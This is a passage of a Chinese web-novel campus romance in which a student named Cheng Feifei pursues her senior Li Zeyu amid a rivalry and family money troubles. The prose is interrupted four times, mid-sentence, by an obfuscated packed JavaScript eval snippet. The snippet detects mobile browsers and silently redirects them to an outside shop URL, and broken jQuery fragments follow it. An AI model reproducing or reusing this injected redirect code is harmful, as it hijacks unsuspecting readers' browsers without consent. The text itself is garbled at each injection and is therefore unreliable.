虽是暑假期间,校园里的人也并不少。此刻,太阳堪堪落山,一轮新月挂上枝头,伴随着阵阵若有似无的蝉声,整个校园已经准备好进入静谧的夜晚。 黎玥从浴室里出来,双手抱着宽毛巾,擦拭湿淋淋的头发。 偌大的寝室空荡荡的,箱子摊在地上,桌上放着从KTV打包回来的水果,满满两大盒。 任可心大概忘了寝室里没有冰箱,这么多水果,她一个人怎么吃得完。 黎玥插起一大块芒果送进嘴里,嚼得嘴巴都鼓起来,顺手将风扇的角度调了调,确保能直吹到自己的脸。 慢风打着卷涌过来,温热拂面,没有一丝凉意,可黎玥还是觉得惬意又舒爽。 她能一个人独享一间房的时间并不多。 整个暑假,除了在外兼职,黎玥在家的时间几乎都被人声填满。 熬了二十年,爸妈终于从郊区的老破小搬进了宽敞的电梯房,比之前的房子大了许多,黎玥也终于拥有了自己的房间。 可是她前脚刚放假,哥哥一家后脚就跟着搬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对自己好点,别只顾着省电!” “砰”的一声,门在程霏霏身后关上。 5. 05 程霏霏一路小跑到男生宿舍楼下的时候,额头上已经沁出一层薄薄的细汗。 看了看手机,这个点,李泽昱应该快回宿舍了吧? 果不其然,大约十分钟之后,小道的尽头就出现了她朝思暮想了一整个暑假的人。 李泽昱提着一只打包袋,和另一个男生聊着天走过来。那个男生程霏霏也认识,是李泽昱的室友,周韬。 隔着老远,周韬先看到了程霏霏,立刻拽了拽李泽昱的袖子。 李泽昱抬眼往这边瞧,对上程霏霏笑弯的眉眼。 他也立刻笑起来,眉眼温柔如水,姿态文质彬彬。程霏霏觉得,连天边的那抹夕阳,都好似更明亮了几分。 李泽昱温和地打起招呼:“程学妹,你怎么在这儿?” “我今天返校。”程霏霏不自觉地迎上来,眼含秋波,声音娇软得仿佛能掐出水,“好巧啊,学长!” 周韬扫了一眼前方的男生宿舍楼,心说都等在这里了,巧什么巧。 可李泽昱仿佛完全没有识破这拙劣的“偶遇”伎俩,脸上笑意不变:“是挺巧的,你怎么这么早就返校了?” “我在家里也没什么事情,就想早点回来,可以……打打工。”程霏霏灵机一动,找到一个符合人设的由头,“学长你呢,暑假的行程还顺利吗?” “嗯,整体算比较顺利。这次有幸跟着导师出门一趟,获得很多实践的机会。”说到这里,李泽昱目露歉意,“就是没能及时回复你的微信,不好意思啊。” 程霏霏笑眯眯地摇了摇头:“不妨事的,无非就是请教的题目没有及时得到回复,我自己苦恼了很久而已。” 一旁偷听的周韬:“……” 据他所知,这位程学妹好像是什么播音主持专业的。一个艺术生,怎么会需要解数学题? 而且,这口气听上去,一点也不像不介意的样子啊。 李泽昱却淡定如常,仿佛丝毫没有觉得不妥。他从善如流地说:“为了表达我的歉意,我请学妹你喝杯奶茶如何?” 程霏霏笑得更开心了,满意地点了点头。 李泽昱将手中的袋子递给室友,和程霏霏肩并着肩往学校的后街走去。 周韬无语地撇了撇嘴,低头看了一眼袋子里打包好的两杯柠檬茶,转身进了寝室楼。 * 正值暑假,后街上的生意虽不如平时火爆,也称得上人流不绝。 程霏霏的目光从鳞次栉比的招牌上一一飘过,装模作样地掩饰一番,才转过来,停在身侧李泽昱的脸上。 一个夏天不见,他好像晒黑了些,脸颊泛着清爽的小麦色。秀气的鼻梁上架着一副纤薄的黑框眼镜,衬得他一如既往的斯文儒雅。 程霏霏皱了皱眉:“学长,你换眼镜了啊?” “嗯。”李泽昱笑得柔和,“之前的那副不小心摔坏了。” “哦。”程霏霏不咸不淡地点头。 “我记得,那副眼镜还是你赔给我的。”像是想起了什么有趣的事,李泽昱侧过脸,噙着笑看着她。 程霏霏的目光重新亮了起来:“学长,你还记得呀?” “当然记得。不是和谁第一次见面,都那么充满戏剧性的。”李泽昱脸上的笑意更深。 程霏霏有些不好意思:“那次幸亏遇到你,要不然,我就赶不上面试了……于情于理,我都应该谢谢你,赔你一副眼镜本就是应该的。” 少女羞涩一笑,白皙的苹果肌上漫起一抹桃粉,睫毛轻轻颤动。她本就长得清纯,搭配着娇滴滴的碎花裙子,更显出一丝不谙世事的天真。 李泽昱垂目盯着,心下微痒。突然很想伸出手,拂一拂那垂落在白皙耳旁的碎发。 “新眼镜也好看。”程霏霏抬起脸,真诚地夸赞,“很衬你。” 李泽昱摩挲了一下掌心,眼神从那桃花一样的面颊上挪开,清了清嗓子。 他换了个话题:“对了,你做家教的那个孩子怎么样了?数学还是很头疼吗?” “嗯?”程霏霏一愣,心虚地眨了眨眼,“还……还可以吧。” “我如今返校了,你如果有需要,随时可以来问我。”李泽昱笑得温和。 “好,好啊。” 程霏霏笑吟吟地应着,心里却在想——刚刚走得太着急,忘了问一问黎玥,她辅导的那个小孩有没有什么新料可以拿出来讲。 两个人就这样聊着天,在日暮残光的街头随意溜达着。 不知不觉间,就走出了江大后街,来到外面的商业街上。 程霏霏认真倾听着李泽昱旅途中的趣事,很捧场地适时发出赞叹;一双眸子却没闲着,刚刚转过街角,就被一家新开的西餐厅吸引住。 餐厅是一幢独栋小楼,典型的西式风格。楼体纯白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006503|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镶嵌着层次分明的黑色线条,两厢搭配,颇具质感。尤其和江大后街上那些俗不可耐的店铺一对比,更显得审美出众。 餐厅的招牌是椭圆形的,设计感十足。中间一个大大的英文花体“LOOK”,两侧由暖白色的夜灯拼出“鹿客”二字,在朦胧的薄暮中,散发着柔和的情调。 程霏霏有些惊讶:“这里什么时候新开了家餐厅啊?” 李泽昱猜测:“大概是暑假期间开的,之前还没有。” 程霏霏点点头,心想这餐厅外观不俗,看着就不便宜,回头一定约上她的姐妹们来尝尝。 正要接着往前走,忽然,身后响起一道惊喜的尖叫:“李学长,这么巧!” 程霏霏在心里翻了个白眼——真是冤家路窄。 夜色中,一个身材火辣的女孩踩着细跟凉鞋噔噔地跑了过来。 她穿着紧身的超短裙,蚊子腿一般的假睫毛在脸上扑闪,放着电一般,对李泽昱粲然而笑:“一个暑假没见,竟然在这里遇见了呢,咱们可真是太有缘分了!” 咯咯笑了好一会,视线才转向一旁的程霏霏,不冷不热地招呼一声:“程霏霏,你也在啊。” 程霏霏眯起眼睛,嘴角勾勒出并不愉悦的笑容:“嗯,我们出来散个步。” 姚安琪甩了甩披肩的长发,露出一字肩下漂亮的锁骨,含情脉脉地重新看向李泽昱。 李泽昱依旧是那副温和的模样:“我答应了程学妹,请她出来喝杯奶茶。” 听到这话,姚安琪的笑容更灿烂了:“那学长可不能偏心,只请她,不请我吗?” 眼见李泽昱就要点头,程霏霏心下一急,连忙插嘴道:“姚安琪,你吃晚饭了没?” 姚安琪手里拎着某家茶餐厅的纸袋,一看就是刚从那里出来。果然,听到这话,她笑眯眯地答:“吃过了,所以,正好可以来一杯甜甜的餐后奶茶呢。” 程霏霏笑得滴水不漏,一只手却挽上李泽昱的胳膊,轻轻晃了晃:“学长,我还没吃晚饭呢,我们去这家餐厅吃饭好不好?” 她指了指“鹿客”的招牌。 还没等李泽昱点头,程霏霏便转向姚安琪,万分遗憾地说:“既然你已经吃过了,我们就不邀请你咯,改日再聚吧!” 说着,连拉带拽地把李泽昱架进了餐厅。 留下姚安琪一个人在原地,懊恼地跺了跺脚。 6. 06 新开业的店铺还没有广为宣传,店里只有零星的几桌客人。 大厅里放着舒缓的轻音乐,一个穿着条纹T恤的寸头小哥正埋头在柜台里算账,看见人进来,笑得有些憨厚:“二位好啊,喝咖啡还是吃晚饭?” “你这是咖啡馆还是饭店?”程霏霏疑惑地问。 “都有,都有!”小哥咧嘴一笑,很热情地介绍,“我们这儿功能齐全,要啥有啥。一楼是西餐厅,二楼的玻璃房连着露台是咖啡厅,满足您的一切需求。” 程霏霏扫了眼宽敞的一楼餐厅。 虽然还没完全布置好,已经能看出店主对品质的追求——法式琉璃吊灯下,蒂凡尼蓝的桌布搭配白色餐巾,干净有品。桌上一尘不染,杯盘锃亮,连纸巾架都是白瓷小天鹅的形态,在灯光下泛着柔润的弧光。 的确是逼格满满。 程霏霏确信,一旦开学,这地方势必会成为江大学生争相打卡的新兴宝地。 她看了看笑容殷切的圆脸小哥——整个餐厅最大的败笔,怕就是这位土穿地心的服务员了。 李泽昱已经在外侧的一张桌子前坐下,拿起菜单,递给程霏霏:“学妹,想吃点什么?” 程霏霏噙着笑打开菜单,却狠狠一愣。好家伙,这菜品的价格,和装修的品味一样,都挺有格调啊。 作为一个从小不识柴米油盐贵的富家女,程霏霏在上大学之前,对物品的“价格”,其实并没有太清晰的概念。 除了爸妈和哥哥不时给一些大额零花钱以外,她自己还有几张高额副卡,至今都闹不清究竟是谁在替她还……总之,刷起来从不过脑。 身边的朋友也都是差不多的出身,一起出去玩的时候,没人计较过什么人均消费。 这导致程霏霏有很长一段时间,一直以为整个世界都是如此。直到她上了大学,跳出了金堆玉砌的小圈子,接触到来自五湖四海、背景各异的同学们,才渐渐告别了何不食肉糜的天真。 此刻,这本菜单攥在手里,微有些发烫。 程霏霏犹豫地摩挲了一下菜单硬质的边角,眼神从上方探出,向对面扫去,捕捉到李泽昱脸上一闪而逝的淡淡尴尬。 说好的请喝奶茶,结果硬给人升级成一顿饭;还不是普通的饭,而是价格不菲的西餐。程霏霏懊恼地想,她怎么就提了这么个建议,把人带进了这么个地方? 装模作样地将菜单浏览一遍,程霏霏兴致缺缺地说:“学长,这里的东西看着就油腻。大热天的,咱们去吃点清淡的吧?” 闻言,李泽昱也放下菜单。翻开的页面上满是精致的各色沙拉,要多清淡,有多清淡。 只是这普普通通的一盘蔬菜,动辄就要三位数。李泽昱有点不懂,一个大学旁边的西餐厅,怎么敢这么定价? 可是,他人已经坐在这里了。对面是笑容甜美的学妹,旁边还站着一脸热情的服务员等着点菜。他们要是这时候走,指不定会被服务员如何取笑。 李泽昱的嗓子有点紧:“……这么晚了,就在这里吃吧,怕你饿坏了。” 程霏霏依旧弯着眼睛,唇边的弧度却少了几分自然。 圆寸小哥的目光在两个人之间扫了个来回,忍不住低声开口:“同学,这条街头上有一家平价中餐馆,你们要不要去试试?我上次带家里人吃过,觉得味道还行。” 一番话说得诚恳,口气不带一丝揶揄。程霏霏忍不住仔细打量了下这位小哥,好奇地问:“你是老板吗?” 小哥不好意思地摸摸脑壳:“不敢当,我只是个小店长而已。咱们刚刚试营业,还没招服务员,所以我啥都干点。” 程霏霏对他感激地一笑,正欲提包走人,李泽昱却从菜单里抬起头,嘴角带着一丝僵硬,脖子到耳朵根都有些涨红。 他抿了抿唇:“不用了,我们又不是吃不起,就在这里吃。” 程霏霏有些讪讪,虚虚站了一会儿,只得又坐下。她扒拉着菜单,紧着最便宜的点了几样。 等菜的间隙,她拿出手机,往姐妹群里发了条消息:【一顿饭三百块是什么水平?】 任可心秒回:【姐妹一顿下午茶的水平?】 黎玥:【有人请客就吃,自己请客会疯的水平。】 程霏霏:【……】 黎玥:【你和谁吃?】 程霏霏:【李泽昱。】 任可心:【那没事,这点钱对李学长来说,小意思啊。】 程霏霏皱了皱眉。 李泽昱身为江城大学风生水起的人物,人缘极好,追随者众多。因着他不俗的仪表和大方得体的气场,大家自然而然的就默认,他家境亦是不俗。 可是程霏霏记得,她刚认识李泽昱那会儿,有一次在街上碰到他回家,出于猎奇的心理,悄摸着跟了一路,看到他进了一片市井气十足的老小区。 破旧的小区里,几栋老龄板式楼泛着旧色,紧巴巴地挨在一起。外墙上挂满了晾晒的衣物,像随风招展的旗幡,向全世界诉说着日暮途穷的不甘。 自那之后,程霏霏在李泽昱面前,就渐渐经营出了另一种人设。 此刻,她看着群里的聊天,“啪”的一声将手机倒扣在桌面上,内心又将刚刚提议来吃饭的自己拖出来鞭尸了无数遍。 想了想,还是委婉地提议道:“学长,是我要来吃饭的,这次的饭钱就由我来付,好不好?” 李泽昱看了她一眼,一时没有说话。 就在程霏霏心里打鼓的时候,李泽昱突然伸长胳膊,替程霏霏将脸颊上的碎发挽至耳后。 “一顿饭而已,学长请得起。” 程霏霏呆呆地看着他眉宇间的笑容,脸上还残存着刚刚触碰的余感。 李泽昱的动作一触即收,因为圆寸小哥开始上菜了。 而程霏霏还沉浸在肌肤相触的悸动中,拿起叉子,心不在焉地吃着。心里像灌满了甜津津的蜜浆,哪里还记得要请客。 李泽昱瞧着她脸上的笑容,心中一阵麻软,好似被什么东西轻轻蛰过,酸涨难消。 他们就这样各怀心事地吃完了一顿饭。 饭后,李泽昱送程霏霏回去。 星空皎洁,月明如水。 女生宿舍楼下,程霏霏依依不舍地说:“学长,谢谢你今天请我吃饭,改天我回请你吧?” 李泽昱体贴地回答:“不必了,你做家教那么辛苦,挣了钱还是先留给自己花。” 说着,又伸出手,温柔地摸了摸程霏霏的头顶。 程霏霏抿着唇,乖乖任他动作,羞涩得不敢抬眼。 李泽昱看着眼前清丽的少女,忙碌了一天的疲惫都淡去了许多。 他忽然觉得,繁琐的课业和学生工作之外,自己或许可以分出一些心思,试着回应一下这份执着的心意。 “霏霏。”他心里想着,便连称呼也改了口。 “嗯?”程霏霏抬起一双水眸,定定地望过来,眼睛里盛满了毫不掩饰的倾慕。 似被这灼人的爱意蛊惑了,李泽昱听见自己说:“如果,你真想谢我的话……后天,我们要搬宿舍,你愿不愿意过来帮我的忙?就……随便帮着收拾一下。” 程霏霏当然乐意,爽快地答应下来。 两个人约定好后天再见。程霏霏在李泽昱的目送中,满心欢喜地上了楼。 …… 李泽昱在夜色中独自站了一会儿。 宿舍楼下,女生们三两相携,有说有笑地经过。偶尔有人认出他,热情地过来打个招呼,他都回以春风般的温和,让人忍不住心生好感。 他对身边的女孩子都是这样,不主动,也不拒绝,永永远远一团和气。 像程霏霏这般,对他心怀希望的女孩子有很多;可是,和她一样坚持了这么久的,却很少。 不知是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006504|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被这仲夏的微风迷醉了心志,还是今晚的程霏霏实在动人,李泽昱破天荒地,有些没有把持住。 他忽然觉得,身边有这样一位乖巧的可心人,好像也不是什么坏事。 * 李泽昱散着步,不慌不忙地回了寝室。 一进门,室友周韬戴着全包耳机,对着电脑骂骂咧咧地敲键盘。显示屏上,游戏画面精彩纷呈,枪战正酣。 李泽昱来到自己的书桌边,拿起那杯挂满了水珠、已经完全常温了的柠檬茶,戳开纸盖,吸了两口。 周韬扒下耳机,斜眼瞧他:“你没喝奶茶?” 李泽昱“嗯”了一声,摘下眼镜,捏了捏发酸的鼻梁:“刚和程霏霏吃完饭。” 周韬一听,游戏也不打了,拖着凳子挪过来。 “你们还去吃饭了?你该不会,真的喜欢那个程霏霏吧?” 李泽昱的动作一顿:“她不好吗?” “唔,还行吧。”周韬挠了挠下巴,慢条斯理地道:“长得挺纯的,对你上赶着也不是一天两天了。就是,怎么说呢,这天天又兼职又家教的,一看就是普通家庭出身的……” 李泽昱脸上现出一丝不易觉察的羞恼:“普通家庭出身的怎么了?” “我不是那个意思。”周韬将耳机一丢,斟酌了下用词,“对普通人来说,程霏霏当然算是良配。可你是谁啊,你可是江大的学生会副主席——李泽昱!” “你看你这条件,成绩不错,人长得帅,人缘又好,喜欢你的姑娘那么多,想要什么样的没有?” 周韬想了一圈,逮住一个名字:“就说外院那个院花,叫姚安琪的,有钱、漂亮、家世也好。怎么看,都比程霏霏这种只有一张脸的普通学生妹强!当然,你要是就好小白花这一口,当我没说。” 李泽昱淡淡一笑:“瞧你说的,好像可着我随便挑一样。” 周韬正色道:“可不就是!你李泽昱不挑,还轮得到谁挑?江大学生论坛上那个评选校草的帖子里,现在还飘着您老的玉照呢!” 他恨铁不成钢地戳了戳李泽昱的肩膀:“我要是有你这条件,非资源置换个大的不可,这辈子少奋斗二十年!” 李泽昱笑着踹了他一脚:“少胡说八道,滚回去打你的游戏去!” 他掏出手机,想给程霏霏发个睡前微信,手机上忽然弹出新来电。 李泽昱端着半杯柠檬茶,来到阳台,关上门,将噼里啪啦的键盘声隔绝在室内。 迎着微醺的夏风,他伸了个懒腰。 “喂,妈,这么晚了,什么事?” “阿昱,关于你想申请去香港交流的那个项目,爸妈考虑了一下,还是觉得……性价比不太高。” 李泽昱伸展的动作僵在半空,没有答话。 话筒里只余沉默的呼吸声。 那边顿了顿,接着道:“咱家的情况你也清楚,房子还建的政策迟迟不下来,新房那边还有房贷。爷爷的病反反复复,每年都要吃药。你爸一直想换车,总是舍不得,他那辆二手桑塔纳开了这么多年,不知道被亲戚朋友笑话了多少回……” “知道了,妈。”李泽昱的声音十分平静,听不出情绪,只是握住电话的手指微微发紧,“我累了,先挂了。” 那边似乎还要说些什么,李泽昱已经抢先挂断了电话。 屏幕上还是程霏霏的对话框。一连串可爱的表情包底下,是编辑了一半的微信。 他盯着这半截文字看了好一会儿,抬起手指,一个字一个字地按了删除。 手机彻底暗了下去。 李泽昱俯瞰着阳台外的夜色,脑子里闪过诸多思绪。一会儿是灯光下楚楚可人的程霏霏,一会儿是室友那番纯属歪理邪说、却也算掏心掏肺的逆耳之言。 他仰起头,将手中的柠檬茶一饮而尽。 “噗通”一声,杯子丢进了角落的垃圾桶。 7. 07 程霏霏几乎是连蹦带跳着上了三楼。 一推门,只见任可心正四仰八叉地倒在自己的扶手椅里,被黎玥投喂一片西瓜。 “你怎么在这儿?”程霏霏上前,毫不客气地将人掀起来,“本姑娘的椅子不接外客,边儿上坐着去!” 任可心含着一口瓜,口齿不清地说:“听说你连暑假都不过了,特意赶回学校追男人,我便也来舍命陪君子,提前回来和你们相聚呗。” 说着,又就着黎玥的手吃了一颗葡萄,夸张地嚼了嚼,贼兮兮地凑上去:“怎么样,浪漫的烛光晚餐吃完,人拿下了没有?” 黎玥也含着一大口西瓜,脸上写满好奇。 “倒是没有那么快,不过嘛——”程霏霏眼角眉梢都飞舞着笑意,“学长约我啦,后天去帮他搬宿舍!” 吃瓜的二人:“……” “霏霏,你可别追着追着,给自己追成备胎了啊。”任可心重重叹了口气,恨铁不成钢地说:“自从高三那年,你遇到这个李泽昱,整个人就跟着了魔一样,一发不可收拾。我真是不懂,这姓李的不就是个普普通通的帅哥么,除此以外,看着也没啥特别之处啊,值得你这么喜欢?” 程霏霏跌进自己的大软椅里,嘴角扬起一抹意味不明的笑:“高三?你是说艺考那次?” “除了那次,还有哪次?” 任可心回想往事,捂脸叹息:“我这辈子第一次见到那么硬的搭讪,实在辣眼睛,至今都难以忘怀。” * 在任可心的记忆里,往前数两年,程霏霏还不是现在这个样子。如果要形容一下,大概就是:一朵飘在所有老师头顶上的乌云。 乌云随时准备着,给全世界降下叛逆的雷劫。 除了好好学习,程霏霏没有不干的事。 迟到早退,打架滋事,旷课泡网吧,诱拐他人旷课泡网吧……等等这些,都是普普通通的程大小姐的日常。 不仅如此,她还出奇的高调。比如说,罔顾校规校纪,染了一头亮粉色的及腰长发。 可能是学校门口那家店的染发技术不太行,才染没多久,头发就有些掉色。一头亮粉褪成了雾蒙蒙的古铜金,倒是更加接地气了,还多了几分可盐可甜的气质。 程霏霏皮肤很白,被这发色一衬,显得更加红润有生气。 走在校园里,每每吸引众多视线。 因着这一头不寻常的发色,围绕在程霏霏身上的标签有很多,可是她似乎一点也不在意。 身为发小,任可心也曾暗暗疑惑,她的好姐妹上了高中,怎么变得如此特立独行了? 不过,那个年纪,大家都巴不得和别人不一样,也没甚奇怪的。任可心自己也偷偷打了一排耳洞,藏在头发里,生怕被大人瞧见。 程霏霏高调了一年,把不良少女的名声散播得无人不知,却在高二暑假结束的时候,突然放出狠话——她接下来要痛改前非,好好学习! 不仅如此,还斩钉截铁地表示,一定要考去帝都读大学。 周围的人都有点傻眼,任可心也是。 谁都没有把这番话当真。 可是,豪言放出去之后,程霏霏的壳子里竟然真的如同换了个人。最直接的证据便是,那名声在外、令教导主任心梗了无数次的粉色长发,在夏天结束的时候,悄无声息地变回了黑色。 开学那天,任可心看到一头乌黑秀发、整齐刘海、穿着板正校服的程霏霏,一度怀疑她是不是被什么不可描述的东西附了身。 程霏霏什么也没说,连变身为好学生,都我行我素到懒得解释。 她只是在某天晚自习后,将班主任堵在了回家的路上,理直气壮地质问:“老师,我怎么样才能去帝都念大学?” 结合程霏霏自身的优势——外形好,音色佳,小时候勉强受过点艺术训练,老师建议,她可以考虑走艺术生的道路,去试试播音主持或者表演方向。这样,去好学校的机会,尤其是去帝都的机会,能变得更大。 程家不缺钱,程广材听说闺女有这个志向,简直举双手赞成,恨不得把全市最好的老师都给她请来。 程霏霏在一众老师的帮助下,从零开始进行专业课的学习,同时争分夺秒地恶补文化课。 她还真的挺努力。 整个高三,程霏霏没睡过一场囫囵觉,圈子里的聚会再也不参加,狐朋狗友通通不搭理,整天窝在房间里学习。偶尔出来上个厕所,看到电视上播的古装剧,都要念叨一下中国古代选官制度的演变。 有耕耘就有收获,程霏霏的成绩突飞猛进,终于摆脱了年级吊车尾的恶名。 任可心一直觉得,照这个势头,她姐们儿一定能考去帝都念大学。 ——直到遇见了李泽昱。 高三上学期的期末,作为艺术赛道的考生,程霏霏开始四处奔波,参加大学的艺考。 她本来只瞄准了帝都的高校,可临了,还是扛不住罗美琼和程广材苦口婆心的劝说,不情不愿地在志愿表上添上了江城大学。 唯一一所帝都以外的学校。 考试那天又阴又冷,天空飘洒着濛濛细雨。 任可心陪着她一道来江大面试。 两个人在林荫道上追逐打闹,一个不留神,和彼时正在读大一的李泽昱撞了个满怀,直把人的眼镜给撞飞出去,当场摔得稀烂。 李泽昱没说什么,反倒是程霏霏,不知道犯了什么病,冲上去就拽着人家不让走,非要给人赔眼镜。不答应不行,急得眼睛都红了。 那副样子,仿佛这不是初次邂逅,而是遇到了什么久寻不得的人。 任可心当时就觉得,事情不同寻常。 果不其然,自那之后,程霏霏就彻底歇了帝都的梦想,一门心思要进江大。 程广材和罗美琼都挺惊讶,但江城大学也是很好的学校,还离家近,他们当然开心。 只有任可心知道,这一切都和某个李姓男子脱不了干系。程霏霏怕是对人一见钟情,这才临时改了目标。 “也对,也不对。”程霏霏听完任可心的猜测,表情有些好笑。 “因果关系错了,我并不是为了李泽昱放弃了帝都,而是一开始,我去帝都就是为了找他。” 任可心有点傻眼:“可是我听说,李泽昱就是江城本地人啊,你为什么要去帝都找他?” “因为——那是我第一次遇到他的地方啊。” 程霏霏的目光淡然,有种安之若素的味道。 她想起初遇时的场景…… 记忆就像是慢放的老电影,黏黏糊糊地闪回那个闷热午后的每一帧动线。过去了这么久,程霏霏也有点不确定,那些细节是否真的存在过。 它们在她的梦里反反复复,颠来倒去,发酵得有滋有味。画面说不出得生动绚丽,犹如加上了最饱满的时光滤镜,瑰丽到失真。 可明明,她连他的脸都没有看清。 任可心问:“难不成,那个姓李的救过你的命啊?” 程霏霏没有回答,依旧盯着天花板出神。末了,手伸进口袋,摸出一枚泛旧的皮质钥匙扣,丢进姐妹怀里。 任可心拿起来瞧了瞧:“这东西你还留着呢?” 整个高三,程霏霏都带着它,寸步不离。这东西像个宝贝的护身符,被她上学带来,放学带走,连考试的时候也随身揣着。 黎玥接过钥匙扣,细细打量了半晌:“……Yu?” “嗯。”程霏霏的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006505|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上闪过一丝羞赧,“这是第一次见面时,我失手从他的包上扯下来的。” 任可心和黎玥震惊地盯着她瞬间矫揉起来的小女儿姿态,怀疑自己的眼睛出了什么毛病。 “我努力学习,拼命考来江大,还费尽心思,凹了个这么励志的人设,就是对李泽昱势在必得。” 程霏霏从椅子里站起来,抱着胳膊,在寝室里来回走:“可麻烦的是,他比我想象得难追多了。一年了,我竟然只混成了个暧昧对象。我程霏霏第一次追人,只追出这么点成绩,说出去都嫌丢人!” 任可心理解地点点头:“懂。毕竟有个很强的对手,外院那个姚安琪嘛。” 提起此人,程霏霏更加气不打一处来:“那个姚安琪也不缺人追啊,怎么就死抓着李泽昱不放?” “你也不缺人追啊,彭响喜欢你那么久,你还不是一样非李泽昱不可?” 程霏霏捡起一颗葡萄砸过去。 “嘶……”任可心揉着脑门,咬牙切齿地说:“别怪我没提醒你,姚安琪家在学校有些人脉的,她那个舅舅是谁,你我可都清楚。姓李的混学生会,会选谁不是一目了然……” “呸!李泽昱才不是那种人!” “我看他挺像那种人的。” 程霏霏已经跳着脚冲了过来。 “好好好女侠饶命,我收回,我收回。” * 外语学院和新闻传播学院的寝室在同一栋楼,上下层的距离。 程霏霏和任可心嬉笑打闹的时候,姚安琪这厢正对着桌子上的化妆镜,一脸不高兴。 她眉头紧蹙,想到了什么,恼得一巴掌拍在桌子上,将化妆镜掀翻。 “不就是个KTV小公主,家里有几个臭钱罢了,拽什么拽!” 室友莉莉在走廊上就听到了骂声,小心翼翼地推门进来,看到姚安琪一脸不忿的样子,知道她八成又碰见那个程霏霏了。 说来也怪,明明姚家也是本地的暴发户,可姚安琪每次辱骂程霏霏的时候,好像和她有着天壤之别一样,十足的嫌弃。 莉莉想,大概是因为姚家满门铜臭却出了个知识分子——姚安琪的舅舅,是江城大学的高层。 莉莉向来很注重跟这位富裕的室友搞好关系。 她边换衣服,边佯装抱怨:“在交流中心出了一天苦力,可给人累死了!不过,今天倒是听说了一桩小八卦,你要不要听?” 姚安琪意兴阑珊,随口“嗯”了一声。 “你那位学生会副主席——就是那个李姓师哥,报了去香港的交流项目,这事你知道吗?” 姚安琪一愣:“他要去香港?” “之前是,现在不好说。”莉莉神神秘秘地道:“好像遇到了什么难处,打算放弃这个名额了。” “难处?什么难处?” “这就不知道了。”莉莉耸了耸肩,“报名的老师亲自对接的,也没和我讲,但是我觉得这个消息告诉你终归是没错的。” 姚安琪打发了室友,默默地想,李泽昱是碰到了什么难处呢? 啧,管他什么难处,她托舅舅打听一下,总能打听到。 都说锦上添花易,雪中送炭难。如果自己能帮李泽昱解决这个难处,让他顺利得到这个机会,那她在他心里的位置,必定会有所不同。 今天,李泽昱看那个程霏霏的眼神,让她莫名的很有危机感。 她对香港没什么兴趣,那地方除了买买东西以外也没啥意思。不过,如果李泽昱想去,她倒不介意同行,在没有程霏霏的地方,好好培养培养感情。 先前的低落一扫而光,姚安琪几乎按捺不住心中的雀跃,兴奋地问室友:“你们那个交流项目,要怎么报名?” 8. 08 日头当空的午后,李泽昱在江城大学门口的公交站下了车。 一路往男生宿舍的方向走。 阳光穿过树林的缝隙,在灰白的沥青路上投下斑驳的影子。风一过,影子也随着簸动摇摆,起起落落。 李泽昱怔忪地盯着脚下的树影。 好一副不由人的模样啊,像极了他自己。 上午回了趟家,他妈又把昨晚说的话翻来覆去地念叨了一遍。 李泽昱只顾着扶卧病在床的爷爷下楼晒太阳,没太听清她中间说了什么,不过开头和结尾和以前别无二致,料想还是那些旧话。 他没什么心情在家吃饭,谎称有事,早早回了学校。 手机上好几通未接来电,其中一个来自团委的老师,李泽昱破天荒的,没有第一时间接听。 这条路走过许多遍,李泽昱却鲜少留意沿途的景致。今天倒难得清空了思绪,观察起周围的一草一木来。 大部分的时间,李泽昱的脑子里都塞满了信息,就像一台不停运转的处理器。总是反复琢磨手上的每一桩事情,怎么能办得漂亮,怎样把话说得周到,中间牵涉到哪些人,谁可以倚仗,谁不能怠慢,谁又需要打起精神取悦。 周遭的世界好像变得具体又模糊,李泽昱想到化为泡影的香港之行,心下沮丧,脚步都变得无力。 走着走着,一抹倩影悄然挡在了他身前。 李泽昱抬起头,竟然是姚安琪。 “李泽昱,我听说,你想去香港的学校交流?” 姚安琪眨巴着一双欧式大眼睛,珠光色的眼影在阳光下反射着细光:“我听我舅舅说,你卡在了学费这一环?” 她边说着话,边从包包里取出一张银行卡,在他眼前晃了晃。 “巧的很,我也想去香港来着……” 白皙的手指玩弄着这枚金属色的卡片,李泽昱看到正午的阳光照在上面,一闪一闪,发出金灿灿的诱惑。 